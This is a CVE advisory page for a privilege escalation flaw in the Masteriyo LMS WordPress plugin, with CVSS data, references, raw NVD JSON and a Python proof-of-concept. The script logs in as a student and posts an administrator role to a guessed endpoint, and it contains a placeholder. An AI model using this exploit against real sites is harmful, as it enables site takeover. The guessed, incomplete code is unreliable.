Security Vulnerability Report
中文
CVE-2026-4484 CVSS 8.8 HIGH

CVE-2026-4484

Published: 2026-03-26 02:16:08
Last Modified: 2026-04-24 16:35:20

Description

The Masteriyo LMS plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.1.6. This is due to the plugin allowing a user to update the user role through the 'InstructorsController::prepare_object_for_database' function. This makes it possible for authenticated attackers, with Student-level access and above, to elevate their privileges to that of an administrator.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Masteriyo LMS <= 2.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "https://example.com" login_url = f"{target_url}/wp-login.php" api_url = f"{target_url}/wp-json/masteriyo/v1/instructors" # Example endpoint # Attacker credentials (low privilege) username = "student_user" password = "password123" # Create a session to persist cookies session = requests.Session() # 1. Authenticate to get a valid session/nonce data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } response = session.post(login_url, data=data) if response.status_code == 200: print("[+] Login successful") # 2. Exploit the Privilege Escalation # Payload attempting to update the user role to administrator # The specific endpoint might vary based on plugin version and configuration headers = { "Content-Type": "application/json" } # The vulnerability allows updating user role via prepare_object_for_database payload = { "role": "administrator", # Malicious parameter injection "user_id": <CURRENT_USER_ID> # If required, usually inferred from session } exploit_response = session.post(api_url, json=payload, headers=headers) if exploit_response.status_code == 200: print("[+] Exploit sent successfully. Check if privileges are elevated.") else: print(f"[-] Exploit failed with status code: {exploit_response.status_code}") else: print("[-] Login failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4484", "sourceIdentifier": "[email protected]", "published": "2026-03-26T02:16:07.913", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Masteriyo LMS plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.1.6. This is due to the plugin allowing a user to update the user role through the 'InstructorsController::prepare_object_for_database' function. This makes it possible for authenticated attackers, with Student-level access and above, to elevate their privileges to that of an administrator."}, {"lang": "es", "value": "El plugin Masteriyo LMS para WordPress es vulnerable a una escalada de privilegios en todas las versiones hasta la 2.1.6, inclusive. Esto se debe a que el plugin permite a un usuario actualizar el rol de usuario a través de la función 'InstructorsController::prepare_object_for_database'. Esto hace posible que atacantes autenticados, con acceso de nivel de Estudiante o superior, eleven sus privilegios a los de un administrador."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/learning-management-system/tags/2.1.6/includes/RestApi/Controllers/Version1/InstructorsController.php#L305", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3490792/learning-management-system/trunk/includes/RestApi/Controllers/Version1/InstructorsController.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/265be0af-66a4-4636-ab81-f8e2c5a1282e?source=cve", "source": "[email protected]"}]}}